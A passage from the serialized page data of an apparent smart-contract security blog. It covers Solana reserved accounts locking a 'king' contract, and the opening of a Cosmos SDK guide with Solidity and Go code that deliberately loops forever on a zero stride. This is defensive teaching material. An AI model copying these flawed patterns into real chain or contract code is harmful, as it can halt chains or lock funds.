feature_set::enable_secp256r1_precompile::id(),\n)\n",[82323],{"type":24,"tag":284,"props":82324,"children":82325},{"__ignoreMap":7},[82326,82347,82367,82396],{"type":24,"tag":327,"props":82327,"children":82328},{"class":329,"line":330},[82329,82334,82338,82343],{"type":24,"tag":327,"props":82330,"children":82331},{"style":1639},[82332],{"type":29,"value":82333},"ReservedAccount",{"type":24,"tag":327,"props":82335,"children":82336},{"style":381},[82337],{"type":29,"value":2407},{"type":24,"tag":327,"props":82339,"children":82340},{"style":340},[82341],{"type":29,"value":82342},"new_pending",{"type":24,"tag":327,"props":82344,"children":82345},{"style":346},[82346],{"type":29,"value":4663},{"type":24,"tag":327,"props":82348,"children":82349},{"class":329,"line":367},[82350,82355,82359,82363],{"type":24,"tag":327,"props":82351,"children":82352},{"style":346},[82353],{"type":29,"value":82354},"    secp256r1_program",{"type":24,"tag":327,"props":82356,"children":82357},{"style":381},[82358],{"type":29,"value":2407},{"type":24,"tag":327,"props":82360,"children":82361},{"style":340},[82362],{"type":29,"value":11085},{"type":24,"tag":327,"props":82364,"children":82365},{"style":346},[82366],{"type":29,"value":5357},{"type":24,"tag":327,"props":82368,"children":82369},{"class":329,"line":408},[82370,82375,82379,82384,82388,82392],{"type":24,"tag":327,"props":82371,"children":82372},{"style":346},[82373],{"type":29,"value":82374},"    feature_set",{"type":24,"tag":327,"props":82376,"children":82377},{"style":381},[82378],{"type":29,"value":2407},{"type":24,"tag":327,"props":82380,"children":82381},{"style":346},[82382],{"type":29,"value":82383},"enable_secp256r1_precompile",{"type":24,"tag":327,"props":82385,"children":82386},{"style":381},[82387],{"type":29,"value":2407},{"type":24,"tag":327,"props":82389,"children":82390},{"style":340},[82391],{"type":29,"value":11085},{"type":24,"tag":327,"props":82393,"children":82394},{"style":346},[82395],{"type":29,"value":5357},{"type":24,"tag":327,"props":82397,"children":82398},{"class":329,"line":421},[82399],{"type":24,"tag":327,"props":82400,"children":82401},{"style":346},[82402],{"type":29,"value":852},{"type":24,"tag":25,"props":82404,"children":82405},{},[82406,82408,82413,82415,82421],{"type":29,"value":82407},"Before the ",{"type":24,"tag":284,"props":82409,"children":82411},{"className":82410},[],[82412],{"type":29,"value":82383},{"type":29,"value":82414}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":24,"tag":284,"props":82416,"children":82418},{"className":82417},[],[82419],{"type":29,"value":82420},"secp256r1_program::id()",{"type":29,"value":82422}," as the king in a contract.",{"type":24,"tag":25,"props":82424,"children":82425},{},[82426,82428,82433],{"type":29,"value":82427},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":24,"tag":284,"props":82429,"children":82431},{"className":82430},[],[82432],{"type":29,"value":82420},{"type":29,"value":82434}," becomes the eternal king, and no one can dethrone it.",{"type":24,"tag":168,"props":82436,"children":82438},{"id":82437},"fix-3-preventing-write-demotion-pitfalls",[82439],{"type":29,"value":82440},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":24,"tag":25,"props":82442,"children":82443},{},[82444,82446,82451],{"type":29,"value":82445},"Alright, let’s try to fix this ",{"type":24,"tag":42,"props":82447,"children":82448},{},[82449],{"type":29,"value":82450},"yet another",{"type":29,"value":82452}," edge case — and hopefully close the book on it.",{"type":24,"tag":168,"props":82454,"children":82456},{"id":82455},"attempt-1-block-known-reserved-accounts",[82457],{"type":29,"value":82458},"Attempt 1: Block Known Reserved Accounts",{"type":24,"tag":25,"props":82460,"children":82461},{},[82462],{"type":29,"value":82463},"One naive solution is to reject any known reserved account, for example:",{"type":24,"tag":317,"props":82465,"children":82467},{"className":47074,"code":82466,"language":47076,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[82468],{"type":24,"tag":284,"props":82469,"children":82470},{"__ignoreMap":7},[82471,82479],{"type":24,"tag":327,"props":82472,"children":82473},{"class":329,"line":330},[82474],{"type":24,"tag":327,"props":82475,"children":82476},{"style":346},[82477],{"type":29,"value":82478},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":24,"tag":327,"props":82480,"children":82481},{"class":329,"line":367},[82482],{"type":24,"tag":327,"props":82483,"children":82484},{"style":397},[82485],{"type":29,"value":82486},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":24,"tag":25,"props":82488,"children":82489},{},[82490,82492,82497],{"type":29,"value":82491},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":24,"tag":284,"props":82493,"children":82495},{"className":82494},[],[82496],{"type":29,"value":82333},{"type":29,"value":82498}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":24,"tag":168,"props":82500,"children":82502},{"id":82501},"attempt-2-use-a-pda-vault",[82503],{"type":29,"value":82504},"Attempt 2: Use a PDA Vault",{"type":24,"tag":25,"props":82506,"children":82507},{},[82508,82510,82515],{"type":29,"value":82509},"A more future-proof fix is to avoid ",{"type":24,"tag":188,"props":82511,"children":82512},{},[82513],{"type":29,"value":82514},"transferring lamports to arbitrary accounts",{"type":29,"value":82516}," altogether.",{"type":24,"tag":25,"props":82518,"children":82519},{},[82520],{"type":29,"value":82521},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":24,"tag":228,"props":82523,"children":82525},{"id":82524},"final-thoughts",[82526],{"type":29,"value":82527},"Final Thoughts",{"type":24,"tag":25,"props":82529,"children":82530},{},[82531],{"type":29,"value":82532},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":24,"tag":25,"props":82534,"children":82535},{},[82536],{"type":29,"value":82537},"We can safely transfer lamports to an account under the following conditions:",{"type":24,"tag":1380,"props":82539,"children":82540},{},[82541,82546,82551],{"type":24,"tag":179,"props":82542,"children":82543},{},[82544],{"type":29,"value":82545},"It's not executable.",{"type":24,"tag":179,"props":82547,"children":82548},{},[82549],{"type":29,"value":82550},"Its balance, after the transfer, remains rent-exempt.",{"type":24,"tag":179,"props":82552,"children":82553},{},[82554],{"type":29,"value":82555},"It's not a reserved account.",{"type":24,"tag":25,"props":82557,"children":82558},{},[82559],{"type":29,"value":82560},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":24,"tag":10448,"props":82562,"children":82563},{},[82564],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":82566},[82567,82568,82569,82575],{"id":35723,"depth":367,"text":35726},{"id":77949,"depth":367,"text":77952},{"id":79056,"depth":367,"text":79059,"children":82570},[82571,82572,82574],{"id":79062,"depth":408,"text":79065},{"id":79749,"depth":408,"text":82573},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":81054,"depth":408,"text":81057},{"id":82524,"depth":367,"text":82527},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":82580,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":82581,"description":82582,"date":82583,"author":82584,"image":82585,"isFeatured":16,"onBlogPage":16,"tags":82587,"body":82590,"_type":10481,"_id":96475,"_source":10483,"_file":96476,"_stem":96477,"_extension":10486},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":82586,"width":14,"height":14},"/posts/cosmos-security/title.png",[82588,82589],"cosmos-sdk","security",{"type":21,"children":82591,"toc":96453},[82592,82596,82601,82606,82612,82617,82622,82627,82888,83377,83396,83401,83406,83411,83417,83422,83457,83467,83974,83994,84007,84013,84018,84023,84264,84269,84277,84289,84651,84656,84661,84697,84706,85132,85153,85159,85179,85200,85219,85251,85263,85275,85929,85957,85966,86406,86433,86453,86458,86479,86528,86537,87769,87797,87803,87808,87813,87833,88120,88154,88335,88340,88345,88389,88398,89590,89841,89854,89860,89894,89899,89962,89967,89987,90006,90018,90037,90729,90734,90739,90767,90776,91661,91688,91694,91714,91719,91732,91906,91919,92010,92015,92023,92033,92183,92188,92208,92216,92221,92619,92631,92636,92677,92688,92708,93016,93021,93946,93958,93966,93971,94964,94969,94981,95001,95020,95934,95991,96097,96109,96114,96119,96147,96156,96382,96408,96421,96435,96439,96444,96449],{"type":24,"tag":228,"props":82593,"children":82594},{"id":35723},[82595],{"type":29,"value":35726},{"type":24,"tag":25,"props":82597,"children":82598},{},[82599],{"type":29,"value":82600},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":24,"tag":25,"props":82602,"children":82603},{},[82604],{"type":29,"value":82605},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":24,"tag":228,"props":82607,"children":82609},{"id":82608},"its-loopin-time",[82610],{"type":29,"value":82611},"It's Loopin' Time",{"type":24,"tag":25,"props":82613,"children":82614},{},[82615],{"type":29,"value":82616},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":24,"tag":25,"props":82618,"children":82619},{},[82620],{"type":29,"value":82621},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":24,"tag":25,"props":82623,"children":82624},{},[82625],{"type":29,"value":82626},"Here is a simple example for reference:",{"type":24,"tag":317,"props":82628,"children":82630},{"code":82629,"language":12045,"meta":7,"className":12046,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[82631],{"type":24,"tag":284,"props":82632,"children":82633},{"__ignoreMap":7},[82634,82650,82667,82683,82705,82734,82755,82779,82800,82807,82828,82845,82862,82869,82881],{"type":24,"tag":327,"props":82635,"children":82636},{"class":329,"line":330},[82637,82641,82646],{"type":24,"tag":327,"props":82638,"children":82639},{"style":334},[82640],{"type":29,"value":38087},{"type":24,"tag":327,"props":82642,"children":82643},{"style":340},[82644],{"type":29,"value":82645}," sumWithStride",{"type":24,"tag":327,"props":82647,"children":82648},{"style":346},[82649],{"type":29,"value":4663},{"type":24,"tag":327,"props":82651,"children":82652},{"class":329,"line":367},[82653,82658,82663],{"type":24,"tag":327,"props":82654,"children":82655},{"style":1639},[82656],{"type":29,"value":82657},"    uint64",{"type":24,"tag":327,"props":82659,"children":82660},{"style":356},[82661],{"type":29,"value":82662}," start",{"type":24,"tag":327,"props":82664,"children":82665},{"style":346},[82666],{"type":29,"value":2231},{"type":24,"tag":327,"props":82668,"children":82669},{"class":329,"line":408},[82670,82674,82679],{"type":24,"tag":327,"props":82671,"children":82672},{"style":1639},[82673],{"type":29,"value":82657},{"type":24,"tag":327,"props":82675,"children":82676},{"style":356},[82677],{"type":29,"value":82678}," stride",{"type":24,"tag":327,"props":82680,"children":82681},{"style":346},[82682],{"type":29,"value":2231},{"type":24,"tag":327,"props":82684,"children":82685},{"class":329,"line":421},[82686,82690,82695,82700],{"type":24,"tag":327,"props":82687,"children":82688},{"style":1639},[82689],{"type":29,"value":82657},{"type":24,"tag":327,"props":82691,"children":82692},{"style":346},[82693],{"type":29,"value":82694},"[] ",{"type":24,"tag":327,"props":82696,"children":82697},{"style":334},[82698],{"type":29,"value":82699},"memory",{"type":24,"tag":327,"props":82701,"children":82702},{"style":356},[82703],{"type":29,"value":82704}," arr\n",{"type":24,"tag":327,"props":82706,"children":82707},{"class":329,"line":450},[82708,82712,82716,82721,82725,82730],{"type":24,"tag":327,"props":82709,"children":82710},{"style":346},[82711],{"type":29,"value":1674},{"type":24,"tag":327,"props":82713,"children":82714},{"style":334},[82715],{"type":29,"value":68398},{"type":24,"tag":327,"props":82717,"children":82718},{"style":425},[82719],{"type":29,"value":82720}," returns",{"type":24,"tag":327,"props":82722,"children":82723},{"style":346},[82724],{"type":29,"value":5894},{"type":24,"tag":327,"props":82726,"children":82727},{"style":1639},[82728],{"type":29,"value":82729},"uint64",{"type":24,"tag":327,"props":82731,"children":82732},{"style":346},[82733],{"type":29,"value":364},{"type":24,"tag":327,"props":82735,"children":82736},{"class":329,"line":481},[82737,82741,82746,82750],{"type":24,"tag":327,"props":82738,"children":82739},{"style":1639},[82740],{"type":29,"value":82657},{"type":24,"tag":327,"props":82742,"children":82743},{"style":346},[82744],{"type":29,"value":82745}," idx ",{"type":24,"tag":327,"props":82747,"children":82748},{"style":381},[82749],{"type":29,"value":384},{"type":24,"tag":327,"props":82751,"children":82752},{"style":346},[82753],{"type":29,"value":82754}," start;\n",{"type":24,"tag":327,"props":82756,"children":82757},{"class":329,"line":500},[82758,82762,82767,82771,82775],{"type":24,"tag":327,"props":82759,"children":82760},{"style":1639},[82761],{"type":29,"value":82657},{"type":24,"tag":327,"props":82763,"children":82764},{"style":346},[82765],{"type":29,"value":82766}," sum ",{"type":24,"tag":327,"props":82768,"children":82769},{"style":381},[82770],{"type":29,"value":384},{"type":24,"tag":327,"props":82772,"children":82773},{"style":397},[82774],{"type":29,"value":6695},{"type":24,"tag":327,"props":82776,"children":82777},{"style":346},[82778],{"type":29,"value":405},{"type":24,"tag":327,"props":82780,"children":82781},{"class":329,"line":529},[82782,82786,82791,82795],{"type":24,"tag":327,"props":82783,"children":82784},{"style":1639},[82785],{"type":29,"value":82657},{"type":24,"tag":327,"props":82787,"children":82788},{"style":346},[82789],{"type":29,"value":82790}," end ",{"type":24,"tag":327,"props":82792,"children":82793},{"style":381},[82794],{"type":29,"value":384},{"type":24,"tag":327,"props":82796,"children":82797},{"style":346},[82798],{"type":29,"value":82799}," arr.length;\n",{"type":24,"tag":327,"props":82801,"children":82802},{"class":329,"line":538},[82803],{"type":24,"tag":327,"props":82804,"children":82805},{"emptyLinePlaceholder":16},[82806],{"type":29,"value":544},{"type":24,"tag":327,"props":82808,"children":82809},{"class":329,"line":547},[82810,82814,82819,82823],{"type":24,"tag":327,"props":82811,"children":82812},{"style":425},[82813],{"type":29,"value":71097},{"type":24,"tag":327,"props":82815,"children":82816},{"style":346},[82817],{"type":29,"value":82818}," (idx ",{"type":24,"tag":327,"props":82820,"children":82821},{"style":381},[82822],{"type":29,"value":1596},{"type":24,"tag":327,"props":82824,"children":82825},{"style":346},[82826],{"type":29,"value":82827}," end) {\n",{"type":24,"tag":327,"props":82829,"children":82830},{"class":329,"line":557},[82831,82836,82840],{"type":24,"tag":327,"props":82832,"children":82833},{"style":346},[82834],{"type":29,"value":82835},"        sum ",{"type":24,"tag":327,"props":82837,"children":82838},{"style":381},[82839],{"type":29,"value":75162},{"type":24,"tag":327,"props":82841,"children":82842},{"style":346},[82843],{"type":29,"value":82844}," arr[idx];\n",{"type":24,"tag":327,"props":82846,"children":82847},{"class":329,"line":586},[82848,82853,82857],{"type":24,"tag":327,"props":82849,"children":82850},{"style":346},[82851],{"type":29,"value":82852},"        idx ",{"type":24,"tag":327,"props":82854,"children":82855},{"style":381},[82856],{"type":29,"value":75162},{"type":24,"tag":327,"props":82858,"children":82859},{"style":346},[82860],{"type":29,"value":82861}," stride;\n",{"type":24,"tag":327,"props":82863,"children":82864},{"class":329,"line":1017},[82865],{"type":24,"tag":327,"props":82866,"children":82867},{"style":346},[82868],{"type":29,"value":535},{"type":24,"tag":327,"props":82870,"children":82871},{"class":329,"line":1026},[82872,82876],{"type":24,"tag":327,"props":82873,"children":82874},{"style":425},[82875],{"type":29,"value":6023},{"type":24,"tag":327,"props":82877,"children":82878},{"style":346},[82879],{"type":29,"value":82880}," sum;\n",{"type":24,"tag":327,"props":82882,"children":82883},{"class":329,"line":1048},[82884],{"type":24,"tag":327,"props":82885,"children":82886},{"style":346},[82887],{"type":29,"value":592},{"type":24,"tag":317,"props":82889,"children":82893},{"code":82890,"language":82891,"meta":7,"className":82892,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[82894],{"type":24,"tag":284,"props":82895,"children":82896},{"__ignoreMap":7},[82897,82917,82930,82942,82960,82967,82974,82994,83006,83013,83020,83055,83081,83102,83131,83161,83206,83283,83319,83326,83370],{"type":24,"tag":327,"props":82898,"children":82899},{"class":329,"line":330},[82900,82904,82909,82913],{"type":24,"tag":327,"props":82901,"children":82902},{"style":334},[82903],{"type":29,"value":39467},{"type":24,"tag":327,"props":82905,"children":82906},{"style":1639},[82907],{"type":29,"value":82908}," MsgSumWithStrideParams",{"type":24,"tag":327,"props":82910,"children":82911},{"style":334},[82912],{"type":29,"value":2529},{"type":24,"tag":327,"props":82914,"children":82915},{"style":346},[82916],{"type":29,"value":497},{"type":24,"tag":327,"props":82918,"children":82919},{"class":329,"line":367},[82920,82925],{"type":24,"tag":327,"props":82921,"children":82922},{"style":356},[82923],{"type":29,"value":82924},"    Start",{"type":24,"tag":327,"props":82926,"children":82927},{"style":1639},[82928],{"type":29,"value":82929}," uint64\n",{"type":24,"tag":327,"props":82931,"children":82932},{"class":329,"line":408},[82933,82938],{"type":24,"tag":327,"props":82934,"children":82935},{"style":356},[82936],{"type":29,"value":82937},"    Stride",{"type":24,"tag":327,"props":82939,"children":82940},{"style":1639},[82941],{"type":29,"value":82929},{"type":24,"tag":327,"props":82943,"children":82944},{"class":329,"line":421},[82945,82950,82955],{"type":24,"tag":327,"props":82946,"children":82947},{"style":356},[82948],{"type":29,"value":82949},"    Arr",{"type":24,"tag":327,"props":82951,"children":82952},{"style":346},[82953],{"type":29,"value":82954}," []",{"type":24,"tag":327,"props":82956,"children":82957},{"style":1639},[82958],{"type":29,"value":82959},"uint64\n",{"type":24,"tag":327,"props":82961,"children":82962},{"class":329,"line":450},[82963],{"type":24,"tag":327,"props":82964,"children":82965},{"style":346},[82966],{"type":29,"value":592},{"type":24,"tag":327,"props":82968,"children":82969},{"class":329,"line":481},[82970],{"type":24,"tag":327,"props":82971,"children":82972},{"emptyLinePlaceholder":16},[82973],{"type":29,"value":544},{"type":24,"tag":327,"props":82975,"children":82976},{"class":329,"line":500},[82977,82981,82986,82990],{"type":24,"tag":327,"props":82978,"children":82979},{"style":334},[82980],{"type":29,"value":39467},{"type":24,"tag":327,"props":82982,"children":82983},{"style":1639},[82984],{"type":29,"value":82985}," MsgSumWithStrideResponse",{"type":24,"tag":327,"props":82987,"children":82988},{"style":334},[82989],{"type":29,"value":2529},{"type":24,"tag":327,"props":82991,"children":82992},{"style":346},[82993],{"type":29,"value":497},{"type":24,"tag":327,"props":82995,"children":82996},{"class":329,"line":529},[82997,83002],{"type":24,"tag":327,"props":82998,"children":82999},{"style":356},[83000],{"type":29,"value":83001},"    Sum",{"type":24,"tag":327,"props":83003,"children":83004},{"style":1639},[83005],{"type":29,"value":82929},{"type":24,"tag":327,"props":83007,"children":83008},{"class":329,"line":538},[83009],{"type":24,"tag":327,"props":83010,"children":83011},{"style":346},[83012],{"type":29,"value":592},{"type":24,"tag":327,"props":83014,"children":83015},{"class":329,"line":547},[83016],{"type":24,"tag":327,"props":83017,"children":83018},{"emptyLinePlaceholder":16},[83019],{"type":29,"value":544},{"type":24,"tag":327,"props":83021,"children":83022},{"class":329,"line":557},[83023,83028,83032,83037,83042,83046,83051],{"type":24,"tag":327,"props":83024,"children":83025},{"style":334},[83026],{"type":29,"value":83027},"func",{"type":24,"tag":327,"props":83029,"children":83030},{"style":346},[83031],{"type":29,"value":5894},{"type":24,"tag":327,"props":83033,"children":83034},{"style":356},[83035],{"type":29,"value":83036},"ms ",{"type":24,"tag":327,"props":83038,"children":83039},{"style":1639},[83040],{"type":29,"value":83041},"msgServer",{"type":24,"tag":327,"props":83043,"children":83044},{"style":346},[83045],{"type":29,"value":1674},{"type":24,"tag":327,"props":83047,"children":83048},{"style":340},[83049],{"type":29,"value":83050},"SumWithStride",{"type":24,"tag":327,"props":83052,"children":83053},{"style":346},[83054],{"type":29,"value":4663},{"type":24,"tag":327,"props":83056,"children":83057},{"class":329,"line":586},[83058,83063,83068,83072,83077],{"type":24,"tag":327,"props":83059,"children":83060},{"style":356},[83061],{"type":29,"value":83062},"    goCtx",{"type":24,"tag":327,"props":83064,"children":83065},{"style":1639},[83066],{"type":29,"value":83067}," context",{"type":24,"tag":327,"props":83069,"children":83070},{"style":346},[83071],{"type":29,"value":66},{"type":24,"tag":327,"props":83073,"children":83074},{"style":1639},[83075],{"type":29,"value":83076},"Context",{"type":24,"tag":327,"props":83078,"children":83079},{"style":346},[83080],{"type":29,"value":2231},{"type":24,"tag":327,"props":83082,"children":83083},{"class":329,"line":1017},[83084,83089,83093,83098],{"type":24,"tag":327,"props":83085,"children":83086},{"style":356},[83087],{"type":29,"value":83088},"    msg",{"type":24,"tag":327,"props":83090,"children":83091},{"style":381},[83092],{"type":29,"value":17364},{"type":24,"tag":327,"props":83094,"children":83095},{"style":1639},[83096],{"type":29,"value":83097},"MsgSumWithStrideParams",{"type":24,"tag":327,"props":83099,"children":83100},{"style":346},[83101],{"type":29,"value":2231},{"type":24,"tag":327,"props":83103,"children":83104},{"class":329,"line":1026},[83105,83110,83114,83119,83123,83127],{"type":24,"tag":327,"props":83106,"children":83107},{"style":346},[83108],{"type":29,"value":83109},") (",{"type":24,"tag":327,"props":83111,"children":83112},{"style":381},[83113],{"type":29,"value":469},{"type":24,"tag":327,"props":83115,"children":83116},{"style":1639},[83117],{"type":29,"value":83118},"MsgSumWithStrideResponse",{"type":24,"tag":327,"props":83120,"children":83121},{"style":346},[83122],{"type":29,"value":2744},{"type":24,"tag":327,"props":83124,"children":83125},{"style":1639},[83126],{"type":29,"value":22387},{"type":24,"tag":327,"props":83128,"children":83129},{"style":346},[83130],{"type":29,"value":364},{"type":24,"tag":327,"props":83132,"children":83133},{"class":329,"line":1048},[83134,83139,83144,83149,83153,83157],{"type":24,"tag":327,"props":83135,"children":83136},{"style":356},[83137],{"type":29,"value":83138},"    sum",{"type":24,"tag":327,"props":83140,"children":83141},{"style":381},[83142],{"type":29,"value":83143}," :=",{"type":24,"tag":327,"props":83145,"children":83146},{"style":1639},[83147],{"type":29,"value":83148}," uint64",{"type":24,"tag":327,"props":83150,"children":83151},{"style":346},[83152],{"type":29,"value":349},{"type":24,"tag":327,"props":83154,"children":83155},{"style":397},[83156],{"type":29,"value":2988},{"type":24,"tag":327,"props":83158,"children":83159},{"style":346},[83160],{"type":29,"value":852},{"type":24,"tag":327,"props":83162,"children":83163},{"class":329,"line":1067},[83164,83169,83173,83177,83181,83185,83189,83193,83197,83202],{"type":24,"tag":327,"props":83165,"children":83166},{"style":356},[83167],{"type":29,"value":83168},"    end",{"type":24,"tag":327,"props":83170,"children":83171},{"style":381},[83172],{"type":29,"value":83143},{"type":24,"tag":327,"props":83174,"children":83175},{"style":1639},[83176],{"type":29,"value":83148},{"type":24,"tag":327,"props":83178,"children":83179},{"style":346},[83180],{"type":29,"value":349},{"type":24,"tag":327,"props":83182,"children":83183},{"style":340},[83184],{"type":29,"value":4906},{"type":24,"tag":327,"props":83186,"children":83187},{"style":346},[83188],{"type":29,"value":349},{"type":24,"tag":327,"props":83190,"children":83191},{"style":356},[83192],{"type":29,"value":64668},{"type":24,"tag":327,"props":83194,"children":83195},{"style":346},[83196],{"type":29,"value":66},{"type":24,"tag":327,"props":83198,"children":83199},{"style":356},[83200],{"type":29,"value":83201},"Arr",{"type":24,"tag":327,"props":83203,"children":83204},{"style":346},[83205],{"type":29,"value":1045},{"type":24,"tag":327,"props":83207,"children":83208},{"class":329,"line":1075},[83209,83213,83218,83222,83227,83231,83236,83240,83245,83249,83254,83258,83262,83266,83270,83274,83279],{"type":24,"tag":327,"props":83210,"children":83211},{"style":425},[83212],{"type":29,"value":10643},{"type":24,"tag":327,"props":83214,"children":83215},{"style":356},[83216],{"type":29,"value":83217}," idx",{"type":24,"tag":327,"props":83219,"children":83220},{"style":381},[83221],{"type":29,"value":83143},{"type":24,"tag":327,"props":83223,"children":83224},{"style":356},[83225],{"type":29,"value":83226}," msg",{"type":24,"tag":327,"props":83228,"children":83229},{"style":346},[83230],{"type":29,"value":66},{"type":24,"tag":327,"props":83232,"children":83233},{"style":356},[83234],{"type":29,"value":83235},"Start",{"type":24,"tag":327,"props":83237,"children":83238},{"style":346},[83239],{"type":29,"value":9866},{"type":24,"tag":327,"props":83241,"children":83242},{"style":356},[83243],{"type":29,"value":83244},"idx",{"type":24,"tag":327,"props":83246,"children":83247},{"style":381},[83248],{"type":29,"value":4927},{"type":24,"tag":327,"props":83250,"children":83251},{"style":356},[83252],{"type":29,"value":83253}," end",{"type":24,"tag":327,"props":83255,"children":83256},{"style":346},[83257],{"type":29,"value":9866},{"type":24,"tag":327,"props":83259,"children":83260},{"style":356},[83261],{"type":29,"value":83244},{"type":24,"tag":327,"props":83263,"children":83264},{"style":381},[83265],{"type":29,"value":22588},{"type":24,"tag":327,"props":83267,"children":83268},{"style":356},[83269],{"type":29,"value":83226},{"type":24,"tag":327,"props":83271,"children":83272},{"style":346},[83273],{"type":29,"value":66},{"type":24,"tag":327,"props":83275,"children":83276},{"style":356},[83277],{"type":29,"value":83278},"Stride",{"type":24,"tag":327,"props":83280,"children":83281},{"style":346},[83282],{"type":29,"value":497},{"type":24,"tag":327,"props":83284,"children":83285},{"class":329,"line":1084},[83286,83291,83295,83299,83303,83307,83311,83315],{"type":24,"tag":327,"props":83287,"children":83288},{"style":356},[83289],{"type":29,"value":83290},"        sum",{"type":24,"tag":327,"props":83292,"children":83293},{"style":381},[83294],{"type":29,"value":22588},{"type":24,"tag":327,"props":83296,"children":83297},{"style":356},[83298],{"type":29,"value":83226},{"type":24,"tag":327,"props":83300,"children":83301},{"style":346},[83302],{"type":29,"value":66},{"type":24,"tag":327,"props":83304,"children":83305},{"style":356},[83306],{"type":29,"value":83201},{"type":24,"tag":327,"props":83308,"children":83309},{"style":346},[83310],{"type":29,"value":11329},{"type":24,"tag":327,"props":83312,"children":83313},{"style":356},[83314],{"type":29,"value":83244},{"type":24,"tag":327,"props":83316,"children":83317},{"style":346},[83318],{"type":29,"value":19319},{"type":24,"tag":327,"props":83320,"children":83321},{"class":329,"line":1100},[83322],{"type":24,"tag":327,"props":83323,"children":83324},{"style":346},[83325],{"type":29,"value":535},{"type":24,"tag":327,"props":83327,"children":83328},{"class":329,"line":1128},[83329,83333,83337,83341,83346,83351,83355,83360,83365],{"type":24,"tag":327,"props":83330,"children":83331},{"style":425},[83332],{"type":29,"value":6023},{"type":24,"tag":327,"props":83334,"children":83335},{"style":381},[83336],{"type":29,"value":14704},{"type":24,"tag":327,"props":83338,"children":83339},{"style":1639},[83340],{"type":29,"value":83118},{"type":24,"tag":327,"props":83342,"children":83343},{"style":346},[83344],{"type":29,"value":83345},"{",{"type":24,"tag":327,"props":83347,"children":83348},{"style":356},[83349],{"type":29,"value":83350},"Sum",{"type":24,"tag":327,"props":83352,"children":83353},{"style":346},[83354],{"type":29,"value":3459},{"type":24,"tag":327,"props":83356,"children":83357},{"style":356},[83358],{"type":29,"value":83359},"sum",{"type":24,"tag":327,"props":83361,"children":83362},{"style":346},[83363],{"type":29,"value":83364},"}, ",{"type":24,"tag":327,"props":83366,"children":83367},{"style":334},[83368],{"type":29,"value":83369},"nil\n",{"type":24,"tag":327,"props":83371,"children":83372},{"class":329,"line":1148},[83373],{"type":24,"tag":327,"props":83374,"children":83375},{"style":346},[83376],{"type":29,"value":592},{"type":24,"tag":25,"props":83378,"children":83379},{},[83380,83382,83387,83388,83394],{"type":29,"value":83381},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":24,"tag":284,"props":83383,"children":83385},{"className":83384},[],[83386],{"type":29,"value":83244},{"type":29,"value":14876},{"type":24,"tag":284,"props":83389,"children":83391},{"className":83390},[],[83392],{"type":29,"value":83393},"stride",{"type":29,"value":83395},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":24,"tag":25,"props":83397,"children":83398},{},[83399],{"type":29,"value":83400},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":24,"tag":25,"props":83402,"children":83403},{},[83404],{"type":29,"value":83405},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":24,"tag":25,"props":83407,"children":83408},{},[83409],{"type":29,"value":83410},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in 